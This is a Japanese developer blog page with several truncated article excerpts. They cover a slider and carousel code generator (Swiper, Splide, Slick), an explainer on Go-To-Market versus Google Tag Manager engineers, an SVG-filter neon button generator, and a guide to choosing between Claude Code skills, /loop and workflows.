BYOK） このアプリが対応しているAIプロバイダと、無料キーの入手先は次のとおりです。まずはキー不要のPuterで試し、物足りなければBYOKに移るのがおすすめです。 プロバイダAPIキー主なモデルキーの入手先Puter不要GPT・Claude・Gemini系から自動／手動選択不要（初回に無料サインイン）Google Gemini必要（無料枠あり）gemini-2.5-flash ほかGoogle AI StudioGroq必要（無料枠あり）llama-3.3-70b ほか（高速）Groq ConsoleClaude（Anthropic）必要claude-sonnet-4 ほかAnthropic Console 観点Puter（キー不要）BYOK（自分のキー）始めやすさサインインだけですぐ使えるキーの取得・入力がひと手間モデルの選択用意された範囲で自動／手動自分で好きなモデルを指定できる精度・速度の調整共有枠まかせモデル選択で自分で調整できる向いている人とにかくすぐ試したい人回答の質や速度にこだわりたい人 データはすべてブラウザに保存される メモ・AIとの会話・APIキーは、すべてお使いのブラウザ内（localStorage）にのみ保存され、運営のサーバーには送信されません。ログイン不要で使えるのは、データをサーバーに持たない設計だからです。AIに質問したときだけ、その本文が選んだAIのAPIへ送られます。 この設計には裏返しの注意点もあります。データは保存したブラウザの中だけにあるため、別の端末や別のブラウザには引き継がれず、ブラウザの履歴やサイトデータを消すとメモも消えます。大事な内容は別途コピーして残す、共有パソコンでは有料APIキーを入力しない、といった使い方を心がけてください。なお、付箋に添付した画像やファイルは表示のためだけのもので、AIには送られません。 こんな場面で便利 「調べる」と「書く」が地続きになるアプリなので、軽い調査をしながら手を動かす場面と相性がいいです。 調べ物のメモ： 知らない用語やエラーメッセージをAIに聞き、要点を同じ付箋に残してそのまま自分のメモにする アイデア整理： 思いついたことを付箋にどんどん貼り、行き詰まったらAIに壁打ち相手になってもらう 文章の下書き： 構成や言い回しをAIに相談しながら、別の付箋で下書きを書き進める コード片のメモ： AIに書いてもらったスニペットや、あとで使いそうなコマンドを付箋にストックする AIが出力したコードをさらに改造・合成したいときは、動くコードをAIに渡してカスタムするやり方 の考え方が役立ちます。ゼロから言葉で生成させるより、土台のコードを渡して差分だけ指示するほうが、ねらいどおりの結果になりやすくなります。 ### [スライダー／カルーセルをコピペで作る無料ツール｜Swiper・Splide・Slick対応の使い方ガイド](https://codequest.work/slider-generator-tool/) スライダー／カルーセルジェネレーターとは、Swiper・Splide・Slickの3つの人気ライブラリから1つを選び、画面上で設定するだけで、スライダーやカルーセルのコピペできるコード（CDN読み込み＋HTML＋初期化JS）を出力してくれる無料ツールです。表示枚数・エフェクト・自動再生・サムネイル連動・レスポンシブまで、コードを書かずに調整できます。 スライダー／カルーセルジェネレーターを使ってみる → スライダーを実装するとき、つまずくのは「どのライブラリを選ぶか」と「オプションの書き方」です。Swiper・Splide・Slickはそれぞれ記法が違い、公式ドキュメントを読みながらオプション名を調べ、HTMLの構造を合わせ、初期化スクリプトを書く——という作業を毎回くり返すことになります。レスポンシブで「PCは3枚・スマホは1枚」のように出し分けようとすると、さらにbreakpointsの書き方で手が止まります。 この記事では、CodeQuestが公開しているスライダー／カルーセルジェネレーターの使い方を解説します。3ライブラリの選び方、共通設定とライブラリ固有オプションの調整、無限スクロールやサムネイル連動といったパターン別のコード出力までを、実際の操作に沿って紹介します。ブラウザだけで完結し、登録は不要、生成したコードは商用サイトでもそのまま使えます。 このツールでできること スライダー／カルーセルジェネレーターは、ライブラリの記法を覚えなくても動くスライダーのコードを手に入れることに特化しています。主な機能は次のとおりです。 機能内容3ライブラリ対応Swiper v12／Splide v4／Slick をタブで切り替え。同じ設定を、選んだライブラリ用のコードに変換して出力レスポンシブ表示枚数PCとスマホ（768px以下）で別々の表示枚数を指定でき、出し分けるコードを自動生成多彩なエフェクトスライド／フェード／カバーフロー／キューブ／フリップ／カード／無限スクロール（マーキー）自動再生再生間隔と「ホバーで一時停止」を設定ナビゲーション矢印・ページネーション（ドット）の有無を切り替えサムネイル連動ギャラリーメイン＋サムネイルが連動する2連スライダーのコードを生成細かい挙動ループ／中央寄せ／縦方向／ドラッグ／マウスホイール／キーボード操作などコピペ出力CDN読み込み＋HTML＋初期化JSの3点セットを、自己完結したコードとして出力 画像やデータをサーバーに送信せず、すべてブラウザ内で処理します。出力されるのはサンプル画像入りの完成コードなので、画像のURLを差し替えればそのまま動きます。 Swiper・Splide・Slick の選び方 このツールの一番の特徴は、3つの主要ライブラリを同じ操作で切り替えながら比較できる点です。まずは、どれを選べばいいかの結論から整理します。 結論として、特に理由がなければ Swiper を選べば間違いありません。多機能で利用実績が多く、3D系のエフェクトまで揃っています。ページの軽さやアクセシビリティを重視するなら Splide、既存案件の保守でどうしても必要なときだけ Slick、という判断になります。 項目SwiperSplideSlickjQuery依存不要不要必須特徴多機能・定番。3D系エフェクトも対応軽量・国産。アクセシビリティに配慮古株。シンプルだが設計が古いエフェクトスライド／フェード／カバーフロー／キューブ／フリップ／カードスライド／フェードスライド／フェードメンテナンス活発活発ほぼ停止新規におすすめ◎ 迷ったらこれ◎ 軽さ重視なら△ 保守用途のみ Slickは長く使われてきたライブラリですが、最終リリースは2017年の v1.8.1 で、その後ほとんど更新されていません（GitHubのリリース履歴）。jQueryへの依存もあるため、新規実装でわざわざ選ぶ理由は基本的にありません。各ライブラリの詳細は Swiper公式・Splide公式 も参考になります。 使い方：3ステップでコードを作る 操作はおおきく3ステップです。難しい設定はありません。 ライブラリを選ぶ： 上部のタブで Swiper・Splide・Slick のいずれかを選びます。あとから切り替えれば、同じ設定のまま別ライブラリのコードに変換されるので、見比べながら決められます。 スライダーを設定する： 表示枚数・余白・エフェクト・自動再生・矢印やドットの有無などを、プレビューを見ながら調整します。PCとスマホで表示枚数を変えれば、レスポンシブ対応のコードが自動で組み込まれます。 コードをコピーする： 下部に生成されたコードをコピーボタンで取得し、貼り付けます。出力はCDN読み込み・HTML・初期化スクリプトがひと続きになっているので、画像のURLを差し替えるだけで動きます。 たとえばSplideで基本的な1枚表示・ループのスライダーを作ると、次のようなコードが出力されます。<head>にCSS、本文にHTML、</body>直前にJSという3ブロック構成です。 <!-- 1. <head> に読み込み --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@splidejs/splide@4.1.4/dist/css/splide.min.css" /> <!-- 2. HTML --> <div class="splide my-slider"> <div class="splide__track"> <ul class="splide__list"> <li class="splide__slide"><img src="1.jpg" alt="スライド1" /></li> <li class="splide__slide"><img src="2.jpg" alt="スライド2" /></li> <li class="splide__slide"><img src="3.jpg" alt="スライド3" /></li> </ul> </div> </div> <!-- 3. </body> 直前に読み込み＆初期化 --> <script src="https://cdn.jsdelivr.net/npm/@splidejs/splide@4.1.4/dist/js/splide.min.js"></script> <script> new Splide('.my-slider', { type: 'loop', speed: 500 }).mount(); </script> Splideは矢印やページネーションを自動で描画するため、上のHTMLだけで完成します。プレビューのスマホ・PC幅を切り替えて、表示崩れがないかをその場で確認できます。 調整できるパラメータ一覧 設定項目は、3ライブラリに共通するものと、各ライブラリ固有のものに分かれています。共通項目を動かすと、選んでいるライブラリの記法に合わせて自動的に変換されます。 共通パラメータ役割スライド枚数プレビューと出力コードに反映される画像の枚数PC／スマホ表示枚数一度に見せる枚数。768pxを境に出し分け（レスポンシブ）余白（gap）スライド間のすき間（px）遷移速度切り替わりにかかる時間（ms）エフェクトスライド／フェード／カバーフロー等の切り替え方方向横方向／縦方向ループ・中央寄せ端まで来たら先頭へ戻すか、中央のスライドを強調するか自動再生・間隔一定時間で自動送り。ホバーで一時停止も指定可矢印・ページネーション前後ボタンとドットの表示有無サムネイル連動メイン＋サムネイルの2連スライダーにする さらに、ライブラリごとに固有のオプションも用意されています。共通設定だけでは届かない細かな挙動は、こちらで詰めます。 ライブラリ固有パラメータSwipergrabCursor（つかむカーソル）／mousewheel（ホイール操作）／keyboard（キー操作）Spliderewind（末尾→先頭へ戻す）／dragFree（自由ドラッグ）SlickadaptiveHeight（高さ自動調整）／centerPadding（中央寄せ時の見切れ幅） エフェクトの種類と使いどころ 切り替え方（エフェクト）は印象を大きく左右します。用意されているエフェクトと向いている場面は次のとおりです。なお3D系のカバーフロー・キューブ・フリップ・カードはSwiper専用です。 エフェクト動き対応ライブラリスライド横（縦）に滑る基本動作すべてフェード重ねてふわっと切り替え。1枚表示向きすべてカバーフロー奥行きのある3D的な並びSwiperキューブ立方体が回転して切り替わるSwiperフリップカードをめくるように反転Swiperカード重なったカードを1枚ずつめくるSwiper無限スクロール止まらず等速で流し続ける。ロゴ帯やお知らせ向きすべて（Splideは拡張） 「無限スクロール（マーキー）」は、ロゴの帯やニュースティッカーのように、止まらずに流し続けたいときに便利です。Swiperで無限スクロールを選ぶと、次のような等速ループのコードが出力されます。 <!-- 1. <head> に読み込み --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swiper@12/swiper-bundle.min.css" /> <style> /* 無限スクロールは等速で流す */ .my-slider .swiper-wrapper { transition-timing-function: linear !important; } </style> <!-- 2. HTML --> <div class="swiper my-slider"> <div class="swiper-wrapper"> <div class="swiper-slide"><img src="logo1.svg" alt="ロゴ1" /></div> <div class="swiper-slide"><img src="logo2.svg" alt="ロゴ2" /></div> <!-- 画像を必要な数だけ並べる --> </div> </div> <!-- 3. </body> 直前に読み込み＆初期化 --> <script src="https://cdn.jsdelivr.net/npm/swiper@12/swiper-bundle.min.js"></script> <script> new Swiper('.my-slider', { slidesPerView: 4, spaceBetween: 16, loop: true, speed: 4000, allowTouchMove: false, autoplay: { delay: 0, disableOnInteraction: false }, }); </script> autoplayのdelayを0にし、transition-timing-functionをlinearにすることで、カクつかず一定速度で流れ続けます。流れる速さは「遷移速度」スライダーに連動します。 レスポンシブ対応の仕組み 「PCでは複数枚、スマホでは1枚」のように画面幅で表示枚数を変えたい——スライダーで最もつまずくのがこのレスポンシブ対応です。 ### [GTMエンジニアは何者 ?｜Go-To-MarketとGoogle Tag Manager](https://codequest.work/gtm-engineer-go-to-market/) GTMエンジニア（Go-To-Market Engineer）とは、営業・マーケティング・エンジニアリングの3領域を一人で横断し、製品を市場に届けて売上を伸ばす「仕組み」を技術で設計・実装する職種です。ツール連携や自動化、データ計測をコードで組み上げ、部門の隙間に落ちて手作業になりがちな業務をシステムでつなぎます。 ここで多くの人がつまずくのが「GTM」という略語です。Web業界で「GTM」と言えば、長らくGoogle Tag Manager（タグ管理ツール）を指してきました。ところが近年はGo-To-Market（市場投入）の略としての「GTMエンジニア」が急増し、同じ3文字がまったく違う2つの職種を指すようになっています。この混同が、職種を理解するうえで最初の壁になります。 この記事では、両方のGTM（Go-To-MarketとGoogle Tag Manager）を実務で扱う立場から、Go-To-Market Engineerが何をする職種なのか、必要なスキル、従来の職種との違い、そしてGoogle Tag Managerエンジニアとの混同をどう整理すればよいかを、実体験を交えてまとめます。 「GTM」には2つの意味がある — Go-To-Market と Google Tag Manager 結論から言うと、「GTMエンジニア」という言葉には次の2系統があり、求人や記事を読むときはどちらを指しているかを必ず見分ける必要があります。守備範囲も評価される能力もまったく違うためです。 略語の正体正式名称何をする人か主な領域Go-To-MarketGo-To-Market Engineer営業・マーケ・実装をつなぎ、売上を生む仕組みを作るRevOps・グロースGoogle Tag Managerタグマネージャー／計測エンジニアサイトのタグと計測を設計・実装するアクセス解析・計測 この記事で主に扱う「GTMエンジニア」は前者のGo-To-Market Engineerです。後者のGoogle Tag Managerエンジニアとの違いは、記事の後半で実務目線から詳しく整理します。まずはGo-To-Market Engineerが何者かを見ていきましょう。 Go-To-Market Engineerとは何をする職種か Go-To-Market Engineerは、製品と市場のあいだをつなぐ技術者です。純粋な開発職でも純粋な営業・マーケ職でもなく、その両方をまたいで「売上が立つまでの流れ」をシステムとして組み上げるところに価値があります。具体的な責務は次のようなものです。 リード獲得から受注までの導線設計： リードのスコアリングやルーティング、購買シグナルに連動したアプローチの自動化を組む。 ツールの選定と連携： マーケ・セールス・カスタマーサクセスで使うツール（martechスタック）を選び、APIや連携でひとつのシステムとして機能させる。 データ計測基盤の構築： 行動データを売上につなげるダッシュボードや自動化を整え、施策の効果を数値で見えるようにする。 部門をまたぐ業務の自動化： 手作業で回っているワークフローを、ノーコードやスクリプトで仕組み化し、チーム全体の速度を上げる。 海外の定義でも、GTMエンジニアは「セールス・マーケティング・テクノロジーの溝を埋め、各ツールをシームレスに連携させてGTMワークフローを最適化する技術者」とされています（出典：Cognism「What Is A Go-To-Market (GTM) Engineer?」）。施策を「考えるだけ」でも「作るだけ」でもなく、考えて作って数値で回すところまでを一人で担うのが特徴です。 GTMエンジニアに必要なスキルセット（営業×マーケ×実装） GTMエンジニアに求められるのは、ひとつの専門を極めることよりも、事業成長に必要な領域を一通り自分で動かせる横断力です。最低限おさえたいスキルは次の4つです。 マーケティング・セールスの理解： ファネル、リード、コンバージョンといった「売上が立つまでの流れ」を設計思想として理解している。 データ計測・分析： GA4などで行動データを取り、SQLやダッシュボードで「どこで人が離れているか」を読める。 自動化・API連携： ツール同士をAPIやノーコードでつなぎ、手作業を仕組みに置き換えられる。 最低限の実装力： フロントエンドやAPI、ときにはSQLを自分で書き、施策を「他人を待たずに」形にできる。 大事なのは、これらを分業せず一人で貫けることです。マーケが企画し、エンジニアが実装し、アナリストが計測する——という従来の分業では、部門の境目で必ず情報とスピードが落ちます。GTMエンジニアはその境目をなくす存在で、いわゆる「広く浅く＋一点深く」のT字型人材が土台になります。 GTMエンジニアの技術スタック（代表的なツール） GTMエンジニアは特定のプログラミング言語を極めるより、複数のツールを組み合わせて仕組みを作るスタックを扱います。領域ごとに代表的なツールを並べると、守備範囲の広さがイメージしやすくなります。 領域代表的なツール例役割CRM・顧客管理Salesforce／HubSpot顧客・商談データを一元管理するデータエンリッチClay／Apolloリード情報を収集・補強する自動化・連携Zapier／Make／n8nツール間のワークフローを自動化する計測・解析GA4／Google Tag Manager行動データを取得・計測するBI・可視化Looker Studio／BigQueryデータを集約しダッシュボード化する ポイントは、ツール単体を使えることよりも、これらをAPIや連携でつないで「ひとつのシステム」にする発想です。たとえば、フォーム送信をきっかけにリードをCRMへ登録し、スコアに応じて通知を出し、その結果を計測ツールで追う——という一連の流れを、人手を介さず回せる状態を作るのがGTMエンジニアの仕事です。新しいツールが出るたびにスタックは入れ替わるため、個別ツールの知識よりも「つなぐ設計力」が長く効きます。 従来の職種と何が違うのか（比較表） GTMエンジニアは、既存の職種の「あいだ」に立つ役割です。隣接する職種と並べると、その立ち位置がはっきりします。 職種主な責務GTMエンジニアとの違いマーケター集客・ブランディング・施策立案施策を考えるが実装は他者に依頼。GTMエンジニアは自分で組んで回すエンジニアプロダクトの実装機能を作るが事業成長は管轄外。GTMエンジニアは売上の仕組みを作るセールス商談・受注個別の商談が中心。GTMエンジニアは受注を生む仕組み側を作るWebディレクター制作の進行管理・品質統括制作を統括する。GTMエンジニアは市場投入と計測まで踏み込むRevOps／グロース収益プロセスの最適化役割が近い。GTMエンジニアはより「自分で実装する」技術寄り 職種ごとの守備範囲や、制作スキルの有無による役割の違いは、Webデザイナー？エンジニア？ディレクター？職種と作れるものの解説 でも整理しています。あわせて読むと、GTMエンジニアがどのポジションの延長線上にあるかが見えてきます。 なぜ今、GTMエンジニアが生まれたのか この職種が急に注目されるようになった背景には、マーケ・セールス用ツール（martech）の爆発的な増加があります。市場には1万を超えるmartechソリューションがあるとされ、ツールを「選んで・つないで・機能させる」だけで専門スキルが必要になりました。バラバラのツールを一つのシステムにまとめる人が、どの企業でも足りていないのです。 需要は数字にも表れています。GTMエンジニアの求人は2024年から2025年にかけて205%増加し、1,000件以上の求人データに基づく中央値の年収は約12.75万ドル（およそ100,000〜252,000ドルのレンジ）とされています（出典：goFractional「What Is a GTM Engineer? (2026)」）。2年前にはほぼ存在しなかった肩書きが、急速に職種として確立しつつあります。 もうひとつの後押しがAIです。AIツールによって、これまでエンジニアに依頼していた自動化やデータ処理を、マーケ・セールス側の人間が自分で組めるようになりました。「マーケティングを工学的に解く（engineering as marketing）」という発想が、AIで一気に現実的になった——これがGTMエンジニアという職種を生んだ土壌です。 筆者の実践：2つのGTMを行き来する ここからは一次情報として、筆者自身がどう2つのGTMを使い分け、行き来しているかを書きます。教科書的な定義ではなく、実際に手を動かしている現場の感覚です。 Google Tag Manager（計測）側では、当サイトでGTMコンテナを運用し、カスタムのdataLayer設計、サーバーサイドGTM（sGTM）の構築、Consent Mode v2への対応、クロスドメイン計測までを自分で実装しています。これは「正確なデータを取る」ための計測基盤づくりです。 Go-To-Market側では、SEOで集めた流入を無料ツールの体験へつなぎ、そこからコンバージョンへ運ぶ導線を設計しています。リード獲得のための無料ツールを自分で内製するのは、まさに「engineering as marketing」の実践です。コンテンツ・ツール・計測・改善までを一人で回しています。 この2つは別物ですが、地続きでもあります。Google Tag Managerで正確に計測できているからこそ、Go-To-Marketの打ち手を数値で検証して回せるのです。計測が土台、市場投入の設計がその上に乗る関係だと考えるとわかりやすいでしょう。筆者の専門領域や実績は 運営者プロフィール にまとめています。 Google Tag Managerエンジニアとの違い 混同を解くために、2つのGTMエンジニアを実務の観点で並べます。名前は同じでも、目指すゴールが違います。 観点Go-To-Market EngineerGoogle Tag Managerエンジニアゴール事業成長・売上正確な計測守備範囲営業〜マーケ〜実装〜計測タグ・dataLayer・計測実装代表スキル自動化・API連携・ファネル設計dataLayer・sGTM・Consent Mode v2成果物売上を生む仕組み信頼できる計測データ とはいえ両者は完全に切り離れているわけではありません。Google Tag Managerによる計測は、Go-To-Marketの仕事の一部として組み込まれることがよくあります。筆者のように両方をやっていると、「計測（GTM）はGo-To-Market（GTM）の下部構造」として自然につながります。求人を見るときは、求められているのが計測実装中心か、事業成長の設計中心かで、どちらのGTMかを判断してください。 GTMエンジニアになるには GTMエンジニアは未経験からいきなり名乗る職種というより、既存のスキルを横に広げてたどり着くポジションです。おすすめの順序は次のとおりです。 まず計測を握る： GA4とGoogle Tag Managerで、サイトの行動データを自分で取れるようにする。ここがすべての土台になる。 自動化を覚える： APIやノーコードツールで、手作業のワークフローを仕組みに置き換える練習をする。 ファネルを理解する： マーケ・セールスの「集客から受注まで」の流れを、数字で追えるようにする。 小さく仕組みを作って回す： 自分のサイトや小さな案件で、集客→計測→改善のループを一人で一周させてみる。 既存のキャリアからの移行ルートも豊富です。エンジニアならマーケ・セールスの知識を、マーケターなら計測と自動化のスキルを足していく形になります。 ### [ネオンボタンジェネレーターの使い方｜SVGフィルタで縁が光るCSSボタンを作る](https://codequest.work/neon-button-generator-tool/) ネオンボタンジェネレーターとは、SVGフィルタを使ってボタンの縁（リム）だけを光らせるCSSボタンを、コードを書かずに作れる無料ツールです。feSpecularLightingなどのSVGフィルタで縁に沿った反射光とグローを計算するため、画像を一切使わず、サイズや色を変えても光が破綻しません。ネオン・スポット・グラデーションといった光の出方を切り替え、そのまま貼れるHTMLとCSSを出力します。 ネオンボタンジェネレーターを使ってみる → 「縁が光るボタン」をCSSで作ろうとすると、たいていはbox-shadowやfilter: drop-shadow()でぼんやりした光をまとわせるところで止まります。要素の外側全体に均一な光は出せても、「光源がどこにあって、縁のどこが強く光るか」という方向のある光や、ネオン管のように線そのものが発光する質感は、影をぼかすだけでは表現できません。かといって、Canvasやライブラリを持ち込むと一気に重くなります。 この記事では、CodeQuestが公開しているネオンボタンジェネレーターの使い方を解説します。SVGフィルタの光源（ライティング）で縁を照らす仕組み、光パターンや色・太さ・角丸の調整、回転や明滅といった自動アニメ、そしてコピペできるHTML/CSSの出力までを、実際の操作に沿って紹介します。ブラウザだけで完結し、登録は不要です。 「縁(リム)だけが光る」とは何か このツールの特徴は、ボタンの面（中身）ではなく外周の線＝リムだけを光らせる点です。塗りつぶしの面はほぼ透明にしておき、角丸の輪郭線（ストローク）にだけSVGフィルタを当てて、その線が光って見えるようにしています。これにより、暗い背景の上で輪郭がネオンサインのように浮かび上がるボタンになります。 ポイントは、その光をbox-shadowのような「ぼかした影」ではなく、光源を置いて反射光として計算していることです。光源の角度や高さを変えると、縁のどこが強く光るかが変わり、光源を一周させれば光が縁を流れるように動きます。影をぼかすだけでは出せない、方向のある立体的な光がここから生まれます。 これをWebGLやCanvasなしで、SVGフィルタというブラウザ標準の機能だけで実現しているのが特徴です。出力されるのは自己完結したHTMLとCSS（自動アニメ時のみ小さなJavaScript）だけなので、貼り付け先のフレームワークを選びません。 このツールでできること ネオンボタンジェネレーターは、縁が光るボタンをコードを書かずに作ることに特化しています。主な機能は次のとおりです。 機能内容リムの発光SVGのfeSpecularLightingで縁の線を光源で照らし、反射光として光らせる光パターンの切り替え方向ライト・スポット・ネオン・グラデーションなど、光の出方をワンクリックで切り替え光源の調整光源の角度・高さ・位置・コーン角を変え、縁のどこがどう光るかを細かく制御色の設定リムの色・グロー色・グラデーションの多色・ボタンの面の色を個別に指定形の調整ボタン幅・角丸・リムの太さ・立体感・滲みをスライダーで調整自動アニメーション光源を回す回転や、明滅するパルス／フリッカーを出力（このときだけ小さなJSが付く）ラベルボタン内の文字を設定。文字は光るリムとは別レイヤーなので色や文言を自由に変更コピペ出力外部ライブラリ不要の自己完結したHTML/CSSを出力 入力したデータをサーバーに送信せず、すべてブラウザ内で処理します。生成したコードはそのまま商用サイトでも利用できます。 使い方：3ステップでコードを作る 操作はおおきく3ステップです。難しい設定はありません。 光パターンを選ぶ： 方向ライト・スポット・ネオン・グラデーションなどの中から、光の出方を選びます。まずは雰囲気の近いものを選び、あとから細かく調整するのがおすすめです。 色と形を調整する： リムの色・グロー色・ボタンの面の色を決め、太さ・角丸・滲み・光の強さ・鋭さのスライダーを動かして、プレビューを見ながら好みの光に仕上げます。必要なら自動回転をオンにして、光が縁を流れる動きも確認できます。 コードをコピーする： 下部にHTMLとCSSが生成されるので、それぞれのコピーボタンを押して貼り付けます。ボタン内の文字はラベル欄で変更できます。 プレビューは暗い背景の上に表示されるので、実際の使用シーンに近い見え方をその場で確認できます。光は暗い背景でこそ映えるため、明るい背景に置く予定なら、リムの色を濃いめにして確認しておくと安心です。 なぜCSSだけで縁が光るのか：SVG feSpecularLighting の仕組み 結論から言うと、SVGフィルタのfeSpecularLighting（鏡面反射ライティング）で、縁の線を立体物に見立てて光源で照らしているからです。feSpecularLightingは、入力画像のアルファ値を「高さ」として読み取り、置いた光源との角度から反射ハイライトを計算するフィルタです。これを縁の線に適用すると、線が金属やガラスの管のように光って見えます。 ツールが出力するコードは、おおむね次のような形です。ボタンの中にインラインSVGを置き、その<filter>の中で「ぼかして高さを作る → 光源で照らす → 縁の形に切り抜く」という3段の処理をしています。 <button class="rim-btn" type="button"> <svg class="rim-btn__svg" viewBox="0 0 320 120" width="320" height="120" aria-hidden="true"> <defs> <filter id="rimGlow" x="-50%" y="-50%" width="200%" height="200%" color-interpolation-filters="linearRGB"> <!-- ① ボタンの形をぼかして「高さマップ」を作る --> <feGaussianBlur in="SourceAlpha" stdDeviation="3" result="height" /> <!-- ② 光源で照らして反射ハイライト（鏡面反射）を計算 --> <feSpecularLighting in="height" surfaceScale="8" specularConstant="1.2" specularExponent="70" lighting-color="#7df9ff" result="spec"> <feDistantLight azimuth="135" elevation="46" /> </feSpecularLighting> <!-- ③ 反射光をリム（縁の線）の形だけに切り抜く --> <feComposite in="spec" in2="SourceAlpha" operator="in" /> </filter> </defs> <!-- ボタンの面（塗りはほぼ透明） --> <rect x="14" y="14" width="292" height="92" rx="46" fill="#0b0e14" fill-opacity="0" /> <!-- 縁の線にフィルタを適用＝ここが光る --> <g filter="url(#rimGlow)"> <rect x="14" y="14" width="292" height="92" rx="46" fill="none" stroke="#ffffff" stroke-width="14" /> </g> </svg> <span class="rim-btn__label">CLICK</span> </button> CSS側は、ボタンの素のスタイルを消し、SVGとラベルを重ねるだけのシンプルな構成です。光の表現はすべてSVGフィルタが担当するため、CSSには複雑な記述がありません。 .rim-btn { position: relative; width: 320px; height: 120px; padding: 0; border: 0; background: none; /* ボタンの素の見た目を消す */ cursor: pointer; } .rim-btn__svg { position: absolute; top: 0; left: 0; display: block; overflow: visible; /* グローがはみ出しても切れないように */ } .rim-btn__label { position: absolute; inset: 0; display: grid; place-content: center; /* ラベルを中央に重ねる */ font-size: 24px; font-weight: 700; letter-spacing: 0.28em; color: #cfd4de; } 「光源角度」のスライダーはfeDistantLightのazimuthを、「光の鋭さ」はspecularExponentを、「滲み」はfeGaussianBlurのstdDeviationを動かしています。ネオンやパルスのように光源を使わないパターンでは、代わりに複数段のfeGaussianBlurとfeFloodで縁全体をにじませて発光させています。feSpecularLightingの各属性の意味は、MDNのfeSpecularLightingリファレンス と SVGフィルタの解説 も参考になります。 調整できるパラメータ一覧 プレビューを見ながら動かせるスライダーと入力項目は、大きく「光」「色」「形」「アニメ」の4グループに分かれます。どれを動かすとどこが変わるかを押さえておくと、狙った見た目に早くたどり着けます。 パラメータ対応するSVG属性効果光源角度feDistantLightのazimuth平行光が縁を照らす向き。光るハイライトの位置が縁を一周する光源高度elevation光源の高さ。低いと縁を浅くなめ、高いと面側まで光が回り込む光源位置X／YfeSpotLightのx／yスポット系で集光する位置。狙った一点を強く光らせるコーン角limitingConeAngleスポットの絞り。狭いと一点集中、広いと縁全体に光が広がる光の鋭さspecularExponentハイライトの締まり。大きいほど点に近いシャープな光になる光の強さspecularConstant反射光の明るさ。上げると縁が強く発光するグロー強度にじみの増幅率ネオン／パルス系で、外側へにじむ光の量を調整する滲み（ぼかし）feGaussianBlurのstdDeviation縁のソフトさ。小さいとくっきり、大きいとふんわり光る立体感surfaceScale高さマップの起伏。反射ハイライトの出方が変わるリムの太さstroke-width縁の線の太さ。太いほど光が乗りやすい角丸rx（border-radius相当）角の丸み。最大にすると両端が半円のピル形になる色／ボタンの濃さstroke／fill-opacityリム色・グロー色・面の色と不透明度を個別に設定回転速度／自動回転JSアニメーション光源を回す速さと、回転・明滅のオン／オフ 迷ったら「光の鋭さ」と「リムの太さ」から触るのがおすすめです。鋭さを上げると引き締まった金属的な光に、下げるとやわらかいネオンに寄ります。太さは光の乗りやすさに直結するので、細いリムで光が弱いと感じたら少し太くしてみてください。 光パターン早見表 光の出方は複数のパターンから選べます。 ### [Claude Codeのスキル・ループ・ワークフローの使い分け｜いつどれを使うか判断ガイド](https://codequest.work/claude-code-skill-loop-workflow-guide/) Claude Codeのスキル・ループ・ワークフローは、名前が並ぶと混同しがちですが役割はまったく別物です。ざっくり言うと、スキルは「定型手順を再利用するパッケージ」、ループ（/loop）は「セッション中に同じ処理を繰り返す仕組み」、ワークフローは「複数のサブエージェントをスクリプトで並列・多段に動かす大規模オーケストレーション」です。 Claude Codeを使い込むほど、「この作業はスキルにすべき？ /loopで回す？ それともワークフロー？」と迷う場面が増えます。さらにサブエージェント・Hooks・/scheduleまで視野に入ると、似た機能が多くて選びきれません。どれを選ぶかを間違えると、セッションが終わると消えてしまったり、逆に大げさすぎて取り回しが悪くなったりします。 この記事では、スキル・ループ・ワークフローの正体と、いつどれを選ぶかの判断軸を、Claude Code公式ドキュメント（2026年6月時点）に基づいて整理します。各機能の作り込み手順は深掘り記事に譲り、ここでは「迷ったときの選び方」に絞ります。なお本記事の機能仕様はバージョンにより変わるため、最新の挙動は必ず公式ドキュメントで確認してください。 結論：3機能の早見表 先に結論をまとめます。3つは「再利用する手順」「繰り返す実行」「大規模な並列処理」という、別々の軸の道具です。迷ったらまずこの表で当たりをつけてください。 機能正体トリガー主な用途実行範囲スキル手順・知識をまとめた再利用パッケージ（SKILL.md）/スキル名または自動トリガー同じ指示を何度も使う／定型作業呼び出した1ターンループ同じプロンプトの繰り返し実行（/loop）/loopコマンド状態監視・ポーリング・反復セッション内のみワークフロー複数サブエージェントのスクリプト制御ultracode／/deep-research等大規模移行・監査・横断調査バックグラウンド（大規模） ポイントは「持続する範囲」です。スキルは呼び出したそのときだけ、ループはセッションが終わると消え、ワークフローは大量のサブエージェントをまとめて走らせます。この軸を頭に置くと、以下の各章が理解しやすくなります。 スキルとは｜定型手順を再利用するパッケージ スキルとは、繰り返し使う指示や手順を1つのファイル（SKILL.md）にまとめ、スラッシュコマンドや自動トリガーで呼び出せるようにする仕組みです。「毎回同じ説明を貼り付けている」作業を、/スキル名の一発で再現できるようにするものだと考えるとわかりやすいです。 スキルは2つの場所に置けます。自分専用にするなら~/.claude/skills/、プロジェクトで共有するなら.claude/skills/です。最小構成はSKILL.md1枚で、先頭のフロントマターに名前や説明、自動起動の条件を書きます。手順が長い場合は、補助ファイルを同じフォルダに同梱できます。 --- name: release-notes description: 直近のコミットからリリースノートの下書きを作る --- # リリースノート作成手順 1. 前回タグからのコミットlog を取得する 2. 変更を「機能追加 / 修正 / その他」に分類する 3. ユーザー向けの文体で箇条書きにまとめる 上の例なら、置いたあとに/release-notesで呼び出せます。スキルは「手順の置き場所」であって、それ自体が勝手に動き続けるものではありません。呼び出されたターンの中で、その手順に沿ってClaudeが作業するだけです。ここがループやワークフローとの一番の違いです。 スキルの作り込み（フロントマターの詳細フィールド、自動トリガー、補助ファイルの分割）は、Claude Code上級編｜MCP・Hooks・Skills実践ガイド で詳しく解説しています。本記事は「いつスキルを選ぶか」に絞ります。 スキルが向いている場面は次のようなケースです。 同じ指示を毎回コピペしている定型作業を、コマンド一発にしたいとき CLAUDE.mdに書くには長すぎる手順を、独立させて整理したいとき チームで同じ作業手順を共有し、誰が実行しても同じ品質にしたいとき ループ（/loop）とは｜セッション内で繰り返す実行 ループ（/loop）とは、同じプロンプトを一定間隔で、または状況に応じて繰り返し実行するコマンドです。デプロイの完了待ちやPRの監視のように、「終わるまで定期的に様子を見たい」作業を自動化します。スキルが手順の置き場所なのに対し、ループは実際に動き続けるのが特徴です。 ループには大きく2つのモードがあります。固定間隔と動的間隔です。間隔を指定すればその周期で、省略すればClaude自身が次にいつ確認すべきかを判断して回します。 # 固定間隔：5分ごとにデプロイ状況を確認する /loop 5m check the deploy status # 動的間隔：間隔を省略すると、結果を見てClaudeが次の確認時間を決める /loop watch the CI run and report when it finishes 